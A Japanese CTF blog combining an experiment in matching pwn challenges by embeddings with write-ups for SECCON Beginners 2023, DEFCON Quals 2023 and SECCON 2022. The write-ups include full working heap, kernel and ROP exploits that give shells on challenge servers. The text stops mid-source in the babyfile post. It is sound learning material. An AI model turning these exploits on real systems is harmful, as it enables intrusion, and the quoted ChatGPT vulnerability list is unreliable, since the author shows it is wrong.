CTFのpwn問題の脆弱性を自動で見つけたかったけど微妙なのができた話
200日以上ぶりのブログ更新です。
残念ながら今年は仕事に私生活が忙しく、全くCTFを楽しむ余裕がありませんでした。
来年こそ、CTFにどっぷりつかりたいですね
さて、今回の本題です。
ご存じの通りpwn問には様々なバリエーションがあります。
等など…
これらのジャンルによる区分はあるものの、問題の解き方を抽象的にみると、
シェルコード問以外は概ね同じだと私は考えています。
具体的には①脆弱性発見し ②脆弱性を攻撃する というプロセスは共通ですね。
例えば、seccon4b 2023のNoControl(Linuxのユーザランドエクスプロイト)については私は下記の方法で解きました。
ec-pwn.hatenablog.com
①脆弱性を発見する ー> メモリ領域の初期化漏れとUSE AFTER FREE
②脆弱性を攻撃する ー> TCACHE POISONNINGとHOUSE OF SPIRIT
(この問題の私の解き方は冗長ではありますが、)
PWN問を解くときに、使えそうな脆弱性を見落とすことなく見つけることがファーストステップとしては非常に重要です。
問題によっては脆弱性が自明なことも多くあります。
特に比較的簡単なバッファオーバーフローの問題等は自明であることが多いです。
しかしながら、中級者向け以上の問題においては、バイナリが比較的複雑であったり、脆弱性が off by oneのようにあまり目立たないものであったり、
レースコンディションのように脆弱性があってもうまく使わないとクラッシュしないものであったり、脆弱性の発見自体が難しいこともあり、
私はCTFの問題を解く際に、かなり苦しい部分になっているのがこの脆弱性発見です。
脆弱性の発見を行うためにはどうすればいいのでしょうか。
この部分のノウハウは中々情報が少ないと感じていますが、一般的には下記の方法があると私は考えています。
1.静的解析
GHIDRAやIDAででコンパイルした結果、あるいは配布されたソースコードを眺めて脆弱性を見つける
2. 簡単な動的解析
とりあえずいろんな境界条件、大きな値や長いペイロード、書式文字列等を手作業で入れてみる
3.ファジング
ファジング用のプログラムを組む、あるいはAFL等でバイナリをファジングしてみる
私個人としては上記の手法によって脆弱性を見つける比率は
それぞれ10%、75%、15% の成功率くらいでしょうか。
私はIT業界にいるわけでもない、いわゆる趣味プログラマです。
ソースコードをちゃんと見る能力もあまりないので、静的解析もできません。
そうなると適当な値を入れて解けるか試す、といった簡単な動的解析に依存することが多くなってしまっていますが、
「なんかよくわからんけどクラッシュするというペイロードを見つける」といった行為に時間を費やしてて、
このプロセスが次第に運ゲーになってしまっており、回答率が安定しないという苦しさを味わっています。
(ちなみに運ゲーになりつつも、なんとなくノウハウというかジンクス的なものがある気がします。
例えば、メモ系のヒープの問題はEDIT機能に脆弱性があることが多い…等)
という中で、第4の方法として、CHAT GPTというかOPEN AIの何かに聞いてみようよというのが趣旨です。
うまくいくわけないよね、と思いながらとりあえずCHAT GPT 4に聞いてみます。
$20の働きはしてくれるのでしょうか?
題材は先ほどのNoControlです。
とりあえず「mallocの初期化漏れ」と、「Use After Free」を発見できるのでしょうか?
このC言語のコードには、セキュリティの観点からいくつかの潜在的な脆弱性が存在します。以下に主なものを指摘します:
1. **バッファオーバーフロー(`update_memo` 関数)**:
- `update_memo` 関数では、`read` システムコールを使用してユーザーからの入力を `memo` バッファに格納しています。
- しかし、`read` は `MEMO_SIZE` (0x80、128バイト) よりも多くのデータを受け取ると、バッファオーバーフローが発生します。
- これにより、隣接するメモリ領域が上書きされ、潜在的に任意のコード実行や他の危険な動作を引き起こす可能性があります。2. **ヌルポインタデリファレンス(`read_memo` と `update_memo` 関数)**:
- `read_memo` と `update_memo` は、`memo = memos[idx];` の後に `memo` がヌルかどうかをチェックしていますが、`puts(memo);` または `read(STDIN_FILENO, memo, MEMO_SIZE);` の実行前にヌルポインタチェックを行っていません。
- これはヌルポインタデリファレンスを引き起こし、プログラムがクラッシュする可能性があります。3. **整数オーバーフロー(`ask_index` 関数)**:
- `ask_index` 関数で、ユーザーからの入力を `atoi` 関数を使用して整数に変換しています。
- この入力が非常に大きい数値の場合、整数オーバーフローが発生し、結果的に不正なインデックスが生成される可能性があります。4. **フォーマット文字列の脆弱性**:
- コード全体を通じて `printf` 関数が安全に使用されていますが、ユーザーの入力をそのまま `printf` などのフォーマット関数に渡すと、フォーマット文字列の脆弱性が発生する可能性があります。5. **メモリリーク**:
- `delete_memo` 関数では、割り当てられたメモリを解放していますが、プログラムの他の部分でメモリ割り当てが失敗した場合の適切な処理が行われていません。
- これはメモリリークを引き起こす可能性があります。これらは一部の脆弱性であり、コードの全体的な構造とセキュリティ慣行によっては、他にも問題が存在する可能性があります。
ということでダメでした。
ものすごくそれっぽいのですが、まるっきりダメです。チャットGPTってソースコードは得意だった気がするのですが
生成ができるけど解釈はあまり得意じゃないんですかね。
ここでほかのアプローチを考えます。
それは、既存のpwn問題のバイナリと類似した問題を引っ張ってくれば、類似したところに脆弱性があるんじゃないのか。という発想です。
ひとことでいうと、OpenAIのEmbeddingの使って同じような過去問を見つけようということです。
既にPythonコードでOpenAI のEmbeddingを用いたコードの分析をやられている方がいらっしゃるようで、
結果を拝見する限りある程度は期待できそうです。
インフラ構成は適当に考えました。とりあえず下記の通りです。
フロントエンドはもはやアップローダーでしかないのでstremlitで5分くらいで作ります。
バックエンドは、ghidraが動いていて、アップロードされてきたバイナリをでコンパイルします。
デコンパイルした結果は、ある程度分割した後Open AIのEmbedding APIに投げることでベクトル化します。
ベクトル化された結果は、AWSのRDSのpostgresのpgvectorで保存されます。
シンプルすぎてこれ以上説明できないのですが
あえて言うなら多分RDSもEC2も分析用途にはいらなくて、
全部ローカルでDockerでやればいいです。なので、AWSを使う必要はないです。実際、EC2とか書いてますが
記事執筆時点では動かしてなくてローカルのDocker環境でやっています。EC2とかRDSとか書いた方がかっこいいと思って書いてます。
分析結果:過去問をTSNEで可視化
下記はとりあえず過去問を二次元上に可視化してみたものです。2次元への射影にはTSNEを利用しています。
さて、見ての通り、どちらかといえば問題の傾向より、「CTFの大会名」例えばSECCONはSECCON等で分かれていることがわかりますね。
これはおそらく、問題の傾向で分類ができているわけではなく、同じ作者が利用している開発環境などに引っ張られてしまっているということだと思われます。
とはいえ、実は同じ大会でも点が散らばったりしていて、見た感じだとよくわかりませんね。
もう少しだけ、見たことある問題で見てみましょう。
これはcalectfだけを抽出したものです。
この2023年に出題されたMemorial Cabbageに近い位置にいるのは、2022年に出題されたcrc2sumです。
Memorial Cabbage:ファイル操作の際の文字列を加工して権限昇格
crc2sum:ファイル操作のレースコンディションでHEAP BOFを利用して権限昇格
ということで、脆弱性という意味では違うもののようでした。
ファイル操作系PWNとでもいうのでしょうか。類題ではあるのですが…
分析結果:CakeCTF ctrc2sumの類似問題を引っ張ってみる
これは私が5分で作ったアップロード画面。
ここに問題をアップロードすると、いくつかを出してくれます。
まずcsictfの問題は、全く関係ないbofの問題でした。
foobar ctfの問題も、bofの問題であまり関係ありませんでした。
ここから、すでにあまり精度が高くないことがうかがいしれます。
分析結果:Seccon4b No Controlの類似問題を引っ張ってみる
これが結果でした。
さて、出てきた結果を吟味してみましょう。
Wani(2023) copy-paste: heap bof
TSG(2021) cheap: heap bof
ということで、まぁheap問題だけど、脆弱性という観点では違うよね。ということになりました。
結論
- とりあえずGhidraでdecompileした後にOpenAI Embeddingに突っ込んで分類すると、問題自体の傾向よりも、開発環境や作成者起因の分類、あるいは問題で使われている関数の傾向による分類になってしまうようだ。
この問題はこの作者が作っているから作者のブログを読む、というメタ読みも無くはないが、そんなものはこのロジックを使わなくてもいけるはず。
ひとまず、とりあえず突っ込んだだけでは脆弱性が同じという粒度では探すことができなかった。というか、オリジナリティあふれる問題が数多くある中で、そもそも脆弱性が同じ問題ってそんなあるのかなっていう気もする。
かかったお金
OpenAIのお金 手持ちの問題をベクトルかするのに$12
AWSのお金 月額大体$20くらい。結局Dockerでローカルに立てたのでEC2は使わず。RDS代だけ。
合計、大体 月額$32 😡
今後の課題
・アルゴリズム回りの改善点
- openAIのEmbeddingはあまり精度が出なかったので、もっとソースコードに特化した埋め込みベクトルを利用してみようと思う。
- あとは、教師あり学習は避けて通れない気がする。人間がアノテーションして、この部分に脆弱性があるとか教え込むとか。面倒だけど来年あたりやってみようかな。
・実装周りの話
- 類似度が数値として出るように書き換える(簡単そうだけどめんどい)
SECCON FOR Beginner 2023 Writeup (pwn)
今年も楽しくSECCONG for beginnerをやりました。
PWNを全完しましたので、難しめだった2問(カーネルとヒープ)のWrite upを書きます。
driver4b (19 solve)
簡単なカーネル問。
カーネル問ってコマンドが特殊だったりするので、チートシート的なの作ってないとすぐ忘れちゃうんだよね。
特に、SMAP、SMEP、kaslrを確認する方法。いや、qemuのコマンドのオプション見ればわかるけど、下記のコマンドでもわかる。
ことを忘れて時間を溶かしてたので、そんなことが無いように下記のコマンドのタトゥーを入れようと思います。
~ # cat /proc/cpuinfo | grep smep ~ # cat /proc/cpuinfo | grep smap ~ # ~ # dmesg | grep "Kernel/User" Kernel/User page tables isolation: enabled
まぁ上を見てわかる通り、SMAPもSMEPもない。
ただしKPTIが有効。
さて脆弱性だが、下記でわかる通り、任意のアドレスに任意のメッセージを書き込める。
具体的には、CTF4B_IOCTL_STOREで、カーネル内の領域 g_messageになんでも書き込める。
CTF4B_IOCTL_LOADで、任意の場所にg_messageから書き込むことができる。
だから、任意の場所に任意の文字が書ける。SMAPが無効だから本当に任意に書き込める。
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { char *msg = (char*)arg; switch (cmd) { case CTF4B_IOCTL_STORE: /* Store message */ memcpy(g_message, msg, CTF4B_MSG_SIZE); break; case CTF4B_IOCTL_LOAD: /* Load message */ memcpy(msg, g_message, CTF4B_MSG_SIZE); break; default: return -EINVAL; } return 0; }
KASLRも無効だから、もっとも簡単な方法は、modprobe_pathを書き換える方法だろう。解いたのはその方法だった。
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; unsigned long modprobe = 0xffffffff81e3a080; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(CTF4B_MSG_SIZE); if (!buf) { close(fd); fatal("malloc"); } /* Get message */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); /* Update message */ strcpy(buf, "/tmp/evil.sh"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Get message again */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, modprobe); printf("Message from ctf4b: %s\n", buf); free(buf); close(fd); system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh"); system("chmod +x /tmp/evil.sh"); system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); system("chmod +x /tmp/pwn"); system("/tmp/pwn"); return 0; }
これをgcc ./exploit.c -o exploit --staticでコンパイルして、--static忘れないでね。
リモート環境に送ればOK。aws上にwebサーバーを立ててリモートからwgetしてexploitした。
さて、当然この問題はAAWなので、解法はいくらでもある。
というか、最初modprobe pathを思いつかず、普通にkernel ropとkpti トランポリンしようとしてたけど、
なんか変な現象が起きて動かなかった。
こんな感じのスタックフレームでROPしていたんだけど、
unsigned long *fake_stack_p = fake_stack; *fake_stack_p++ = pop_rdi; *fake_stack_p++ = 0x0; *fake_stack_p++ = prepare_kernel_cred; *fake_stack_p++ = push_rax; *fake_stack_p++ = pop_rdi; *fake_stack_p++ = commit_creds; *fake_stack_p++ = swapgs_restore_regs_and_return_to_usermode; *fake_stack_p++ = 0xdeadbeef; *fake_stack_p++ = 0xdeadbeef; *fake_stack_p++ = (unsigned long)&get_shell; *fake_stack_p++ = user_cs; *fake_stack_p++ = user_rflags; *fake_stack_p++ = user_rsp; *fake_stack_p++ = user_ss;
prepare_kernel_credに飛ぶときに何故か、下位4バイトしか反映されなかった。は?
これから、0xffffffff81093f00に飛ぼうとしてる。
いや0x3f00に飛ぶんかい。なんで?
これさえ通れば、多分この方法でもできるんだけど。
原因が全然わからなかった。
No_Control (15 solve)
ヒープ問題。いわゆるメモアプリである。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/seccon4b/poem/No_Control$ ./chall 1. create 2. read 3. update 4. delete 5. exit > 1 index: 1 1. create 2. read 3. update 4. delete 5. exit > 3 index: 1 content: aaaaaaa 1. create 2. read 3. update 4. delete 5. exit > 2 index: 1 aaaaaaa 1. create 2. read 3. update 4. delete 5. exit
1.mallocの初期化漏れ
下記で、mallocしてるけど、領域を初期化してないからfreeした領域を再びmallocしてreadすると、中身が見えてしまう。
void create_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index. now choose unused one."); for (idx = 0; idx < LIST_SIZE; idx++) { if (memos[idx] == NULL) { break; } } } if (LIST_SIZE <= idx) { puts("Can't find unused memo"); return; } memo = malloc(MEMO_SIZE); memos[idx] = memo; return; }
2.USE AFTER FREE
これ気づきづらかった。
下記、invalidだった場合でも、なんとmemoがnullじゃなければ動いてしまう。
しかもmemoが初期化されてなくて、deleteした直後のポインタがmemoに残っている。
void update_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index"); } else if (memos[idx] == NULL) { puts("that memo is empty"); } else { memo = memos[idx]; } if (memo == NULL) { puts("something wrong"); } else { printf("content: "); read(STDIN_FILENO, memo, MEMO_SIZE); } return; }
さて、こんだけ脆弱性があれば何でもできるだろ、という気もするがセキュリティ機構がきつい。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 55) Symbols No 0 3 /home/ubuntu/ctf/seccon4b/poem/No_Control/chall
RELROもあれば、PIEもある。
ということで、方針を考える。
まず、脆弱性1を使ってheapのアドレスを取得する。同時にfreeできるのは5個まで、かつmallocのサイズは
0x80なのでtcacheからheapのアドレスをリークできる。(safe linkingが有効なのでちょっとめんどい)
次に、heapのアドレスだけわかってもどうしようもないので、libcのアドレスを取得する。
これはどうすればよいかというと、freeを2回した後に、脆弱性2を使うことでtcacheのfdを書き換えて
tcache poisonningを使って、heapのほかののチャンクのサイズを改ざんして、freeをすることでunsortedbinに入れる。(いわゆるhouse of spirit)
unsortedbinに入ればlibcのmain_arenaのアドレスが手に入るので、脆弱性1を使って、libcのアドレスがわかる。
そのあとは、煮るなり焼くなりコロ助なりではあるが、libcのenvironをtcache poisonningで抜いてきてstackのアドレスを取得して、
tcache poisonningでstack内に領域を取り、systemを呼んだ。
難しかったのはunsorted binにぶち込むためのfreeで、防御機構をバイパスする必要があるところか。
from pwn import * elf=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall") libc=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6") #p=process("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall" # , aslr=True # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6"} ) p=remote("no-control.beginners.seccon.games",9005) #gdb.attach(p) def create(index): p.sendlineafter(">", "1") p.sendlineafter("index:", str(index)) return def read(index): p.sendlineafter(">", "2") p.sendlineafter("index:", str(index)) return p.recvline() def update(index, message): p.sendlineafter(">", "3") p.sendlineafter("index:", str(index)) p.sendlineafter("content:", message) return def delete(index): p.sendlineafter(">", "4") p.sendlineafter("index:", str(index)) return def cryptoSafelinking(pos, ptr): return (pos >> 12) ^ ptr create(0) delete(0) # leak heap memory create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(1) heapbase = u64(p.read(5).ljust(8, b"\x00")) * 0x1000 log.info("heap base is:" + hex(heapbase)) # leak libc memory by make chunk into unsorted bin # setup tcache poisonning create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, heapbase + 0x440))) create(0) create(0) update(0, p64(0x91) + p64(0x421)) create(1) create(1) create(1) create(1) create(1) create(1) create(1) update(1, p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0x420) + p64(0x421)) create(1) create(1) create(1) create(1) create(1) create(1) create(1) update(1, p64(0xcafe) + p64(0xcafe) + p64(0xcafe) + p64(0xcafebabe) * 6 + p64(0x420) + p64(0x420) + p64(0x421)) delete(2) create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(5) libcbase = u64(p.read(6).ljust(8, b"\x00")) - 0x21A0D0 log.info("libc base is:" + hex(libcbase)) # chunk2 goes into unsorted bin! # leak stack memory from libc eviron create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, libcbase + libc.symbols["environ"]))) create(0) create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(6) stackbase = u64(p.read(6).ljust(8, b"\x00")) - 0x08 -0x120 log.info("stack base is:" + hex(stackbase)) # finary we hijack stack using tcache poisonning create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, stackbase))) create(0) create(0) pop_rdi = 0x0002a3e5 ret = 0x00029cd6 update(0, p64(0xdeadbeef) + p64(libcbase + ret) + p64(libcbase + pop_rdi) + p64(libcbase + next(libc.search(b'/bin/sh'))) + p64(libcbase + libc.symbols["system"]) ) p.interactive()
これでexitすればshellがとれるよ。
DEFCON Quals 2023 WriteupとCTFのリハビリ
DEFCON Quals 2023にソロで参加しました。決勝戦なんてのは遠い遠い話ですが、
また今年もベガスまでDEFCONを観客として見に行くかもしれません。
実はこの半年間、消息を絶っていたのですが、
ずーっと懐かしのメイプルストーリーをやっていて、全くCTFをやっていませんでした。
そのせいで、CTFの事が何もわからなくなりました。これから少しずつリハビリしていこうと思います。
メイプルはレベル250を達成したのでメイプルストーリーは引退しました。
してないです。ゆかり鯖でやってるし、ピンクビーンイベントやってます。
いっそこのブログも、メイプルストーリーのブログに変えてやろうかと思いました。
ネットゲームは時間が無限に溶けるし、ほかのモノに対する興味が無くなるので良くないね。誰か助けてください。
さて、DEFCONの話ですがpwn とかジャンルで分かれてないので、結局pwnがどれだかわかりませんでした。
とりあえず簡単な1問(Open House)を開催中に解きました。
Open House (68 solve)
とってもシンプルなヒープ問題。多分色々な解き方があるはず。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ ./open-house Welcome! Step right in and discover our hidden gem! You'll *love* the pool. c|v|q> c Absolutely, we'd love to have your review! AAAAAAAA Thanks! c|v|m|d|q> d Which of these reviews should we delete
よくあるヒープメモ問題。
c: メモの作成
v: メモの閲覧
m: メモの変更
d: メモの削除
q: 終了
が操作可能。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ file open-house open-house: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0dff6b6b6435d3c61f0159923f1758e8c9e6a1a8, for GNU/Linux 3.2.0, stripped
ところで、なぜか32bitである。ブルートフォースしてほしいのか?意味ありげに感じてしまう。
なお、下記の通りPIE有効。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 3 /home/ubuntu/ctf/defcon/open-house
さて、メモの管理がどうされているか見ながら、脆弱性を見つけていく。
メモが作成されたとき、
c|v|q> c Absolutely, we'd love to have your review! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thanks!
下記の通り、ヒープ領域が作成されて、文字列が格納される。
0x5655aa40: 0x00000000 0x00000000 0x00000000 0x00000211 0x5655aa50: 0x41414141 0x41414141 0x41414141 0x41414141 0x5655aa60: 0x41414141 0x41414141 0x41414141 0x41414141 0x5655aa70: 0x41414141 0x41414141 0x0000000a 0x00000000 … 0x5655ac30: 0x00000000 0x00000000 0x00000000 0x00000000 0x5655ac40: 0x00000000 0x00000000 0x00000000 0x00000000 0x5655ac50: 0x00000000 0x5655a430 0x00000000 0x000203a9
0x000203a9はTOPチャンクのサイズだから無視して、0x5655ac54にある0x5655a430が重要。
これは、一個前のメモへのポインタである。
見てわかる通り、このプログラムは、メモを双方向のリンクリストで保持していて、チャンクの最後のほう
具体的にはAddr + 0x204とAddr + 0x208のところに、前後のメモへのポインタが入っている。
メモの作成(cコマンド)の時は0x200バイトしか文字列を書き込めないが、メモの変更(mコマンド)の時は
0x210バイト文字列を書き込むことができる。したがって、リンクリストを任意の方向につなげることができるという、露骨な脆弱性がある。
メモを任意の場所につなげることができるとAARもAAWもできてしまう。
何故かというと、メモの変更(m)コマンドでは、指定した番号のメモの内容を吐き出すからである。
具体的には、index = 1のメモのAddr + 0x204に任意のアドレス p を入れるとする。
そうすると、mでindex = 2のメモを変更しようとすると、*pの値を吐き出してしまう。
しかもそのうえ、上書きすることができる。脆すぎる。(下記、脆弱性1と呼ぶ)
c|v|m|d|q> m Which of these reviews should we replace? 2 Replacing this one: AAAAAAAAAAAAAAAAAAAAAAAAAAAA ← これが*pになる
これは極めて強力な脆弱性だが、存在するのはこの脆弱性だけではない。
二つ目の脆弱性は、malloc後の未初期化によるものである。
pwndbg> bins tcachebins 0x110 [ 7]: 0x56559e00 —▸ 0x56559bf0 —▸ 0x565599e0 —▸ 0x565597d0 —▸ 0x565595c0 —▸ 0x565593b0 —▸ 0x565591a0 ◂— 0x0 fastbins 0x10: 0x0 0x18: 0x0 0x20: 0x0 0x28: 0x0 0x30: 0x0 0x38: 0x0 0x40: 0x0 unsortedbin all: 0x5655a008 —▸ 0xf7e2a7f8 (main_arena+56) ◂— 0x5655a008
メモをいくつか削除すると上記のようになる。
上記はunsortedbinが0x631サイズある。
これに対して、メモを再び8回内容は"”で作る。
そうすると、8回目で取得されるメモは、unsortedbinから取得されるが、
unsortedbinの持っているfd と bkが初期化されてない。
入力文字列にnull終端とかがあれば発生しないが、null終端はないのでリーク出来てしまう。
なので、mallocでunsortedに入っていた領域を再取得すれば、main_arenaの領域、つまりlibcのアドレスを取得できる。
0x5655a008 0x00000000 0x00000211 ........ 0x5655a010 0xf7e2aa0a 0xf7e2aa38 ....8... 0x5655a018 0x5655a008 0x5655a008 ..UV..UV 0x5655a020 0x63207470 0x69646e6f pt condi 0x5655a028 0x6e6f6974 0x6874202c tion, th
この領域を、メモの表示コマンドで表示できる。
ところで、なんでunsortedbinに入っていたはずなのに、fd_nextsize と bk_nextsizeが埋まってるんだろう?
heapがわかるのはうれしいけど、なんでだ…
これでlibc leakとheap base leakが可能となった。脆弱性2と呼ぶ。
ということで、方針としては、まず脆弱性2を使って、libcとheapをリークする。
次に脆弱性1を使ってAARで、libcのenvironからstackのアドレスを取得し、
脆弱性1を再度使って、stack内でROPしてsystem("/bin/sh")を呼べばいいだけ。
まぁ一見簡単そうだけど、悩ましい障壁が一つあった。それは、libcのバージョンがわからないこと。
libcのバージョンがわからないと、libc_baseをあてることができない。
とりあえず、上記の方法で計算される値からmain_arenaのアドレスがわかる。
上記の方法でリークできるのはmain_arena内のアドレスで、それは比較的最近ならばlibcのバージョンによらず一定のはず。
それでlibc databaseを使えば 2.37っぽいことまではわかった。
libc.rip
ただし、その情報だけでは、どうしてもlibc baseアドレスがずれていた。2.37のどのバージョンなのか?までは上記のサイトではわからなかった。
というか、上記のサイトで出てきたやつだと、なぜかbase addressが0x3000ずれていた。
このベースアドレスのずれを見つけるためには、手作業でぐちゃぐちゃやって何とかアタリを付けなければならず、この作業が一番大変だった。
結果、main_arenaのlibc baseからのoffsetがわかった後は、libc databaseを使って2.37のlibcを落として、symbolの確認をおこなった。
github.com
その結果、main_arenaとかがぴったり一致したのは下記のバージョンだった。
libc6-i386_2.37-0ubuntu2_amd64.so
なのでこのバージョンを使ってexploitを書いたらflagが取れた。
で解きなおそうとしてけどサーバが死んでいた。
import logging from pwn import * context.arch="i386" option = "local" if option == "local": elf=ELF("/home/ubuntu/ctf/defcon/open-house") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("/home/ubuntu/ctf/defcon/open-house" , aslr=True) #gdb.attach(p) else: libc=ELF("/home/ubuntu/ctf/defcon/libc6-i386_2.37-0ubuntu2_amd64.so") p = remote("open-house-6dvpeatmylgze.shellweplayaga.me", 10001) p.sendlineafter("Ticket please: ", "ticket{自分のチケット番号を入れようね}") def create(message): p.sendlineafter(">","c") print(p.recvline()) p.sendline(message) return def delete(index): p.sendlineafter(">","d") print(p.recvline()) p.sendline(str(index)) return def replace(index, message): p.sendlineafter(">","m") print(p.recvline()) p.sendline(str(index)) p.sendlineafter("replace it with?", message) return create(cyclic(0x208)) for i in range(11): delete(1) create("") create("") create("") create("") create("") create("") create("") create("") p.sendlineafter(">","v") for i in range(16): p.recvline() p.recv(3) if option == "local": libc_base = u32(p.recv(4)) - 0x22AA38 else: libc_base = u32(p.recv(4)) - 0x225A38 heap_base = u32(p.recv(4)) - 0x1008 log.info("libc base is " + hex(libc_base)) log.info("heap base is " + hex(heap_base)) print(hexdump(p.recvline())) for i in range(11): delete(1) for i in range(11): create("") if option == "local": replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) else: replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) p.sendlineafter(">", "m") print(p.recvline()) p.sendline(str(4)) p.recv(20) stack_base = u32(p.recv(4)) log.info("stack_address is " + hex(stack_base)) p.sendline(p32(stack_base)) replace(3, p32(0) * 0x80 + p32(stack_base-0x200)) p.sendlineafter(">", "m") print(p.recvline()) p.sendline(str(4)) system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh")) p.sendline(p32(0) * 0x40 + p32(system) + p32(0) + p32(binsh)+ p32(0)) p.interactive()
これでSHELLが取れたよ
What do you think we should we replace it with? ls challenge flag.txt run_challenge.sh cat flag.txt flag{DeveloperTax47n23:SBp6IAciEkQu5HXDfzG_0DcZZO5e5Wv2KKus4D9mrhCLPpWNUgk1U1lrIHRNCdiQ5f3eX9BwQL9-Qerdbkj9qA}[*] Interrupted [*] Closed connection to open-house-6dvpeatmylgze.shellweplayaga.me port 10001
SECCON 2022 Writeup
SECCON 2022にソロで参加しました。チームで出なかった理由は、私の住所が今、海外になってしまっており私がチームに存在するだけで、
そのチームから国内決勝参加権が無くなるデバフ野郎疑惑があるからです。(ほんとのところはわかりません)
寂しいおっさんを誰かチームに入れて下さい。
さて、SECCON 2022、謎アーキとか、QRコードとか無くなって、段々傾向が変わってきてる気がしますね。
過去の謎アーキもQRコードも、個人的には嫌いではなかったです。それはそれで解けたときに脳汁が出るので。
もはや私は、脳汁が出ればどうでもいいです。
pwn は5問あって、2問(konchaとbabyfile)を開催中に解きました。
write upがあれば他3問も復習します。
koncha (111 solve)
普通にBoFの問題と思いきや、ちょっとだけひねりがある。
#include <stdio.h> #include <unistd.h> int main() { char name[0x30], country[0x20]; /* Ask name (accept whitespace) */ puts("Hello! What is your name?"); scanf("%[^\n]s", name); printf("Nice to meet you, %s!\n", name); /* Ask country */ puts("Which country do you live in?"); scanf("%s", country); printf("Wow, %s is such a nice country!\n", country); /* Painful goodbye */ puts("It was nice meeting you. Goodbye!"); return 0; } __attribute__((constructor)) void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); alarm(180); }
ubuntu@ubuntu:~/ctf/koncha/bin$ ./chall Hello! What is your name? AAAAAAa Nice to meet you, AAAAAAa! Which country do you live in? BBBBBBBBBBBBBBBBBBBBBBBBBBBBB Wow, BBBBBBBBBBBBBBBBBBBBBBBBBBBBB is such a nice country! It was nice meeting you. Goodbye!
見ての通り、スタックバッファオーバーフローが2回ある。
2回目でROPすればいいじゃん!って思ったが、なんとPIEが有効。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
PIE有効な時は、Leakするか、Partial Overwriteが定石だが、実際にやってみるとわかるがnull終端があるので、
Partial Overwriteはできない。
ということでリークすることを考える必要がある。
コードを見ればわかる通り、スタック変数nameが初期化されてない。
なのでnameから何かリークできるだろう、と考えてリークを目指す。
最初は、authme [InterKosenCTF 2020] みたいに%[^\n]sに対してEOFを送ればいいと思ったが、
EOF送ると、それ以降入力か出力かができなくなる。
まいったなぁ、と思ったけどとりあえず改行コードだけ送ってみたら普通にlibcがリークできた。
あとはBoFでone_gadgetに飛ばすだけ。
from pwn import * elf=ELF("/home/ubuntu/ctf/koncha/bin/chall") libc=ELF("/home/ubuntu/ctf/koncha/lib/libc.so.6") #p=process("/home/ubuntu/ctf/koncha/bin/chall" # , aslr=False # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/koncha/lib/libc.so.6"} ) #gdb.attach(p) p=remote("koncha.seccon.games",9001) p.sendlineafter("Hello! What is your name?", "") print(hexdump(p.recvline())) p.recvuntil(b"\x2c\x20") libc_base=u64(p.recv(6).ljust(8, b"\x00"))-0x1f12e8 log.info("libc base is :"+hex(libc_base)) one_gadget=0xe3b01 p.sendlineafter("Which country do you live in?", cyclic(88)+p64(libc_base+one_gadget)) p.interactive()
babyfile (29 solve)
file pointerの中身を自由に書き換えることができて、fflushが自由にできる状況でシェルを取る問題。
面白いね。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> static int menu(void); static int getnline(char *buf, int size); static int getint(void); #define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1) int main(void){ FILE *fp; alarm(30); write_str("Play with FILE structure\n"); if(!(fp = fopen("/dev/null", "r"))){ write_str("Open error"); return -1; } fp->_wide_data = NULL; for(;;){ switch(menu()){ case 0: goto END; case 1: fflush(fp); break; case 2: { unsigned char ofs; write_str("offset: "); if((ofs = getint()) & 0x80) ofs |= 0x40; write_str("value: "); ((char*)fp)[ofs] = getint(); } break; } write_str("Done.\n"); } END: write_str("Bye!"); _exit(0); } static int menu(void){ write_str("\nMENU\n" "1. Flush\n" "2. 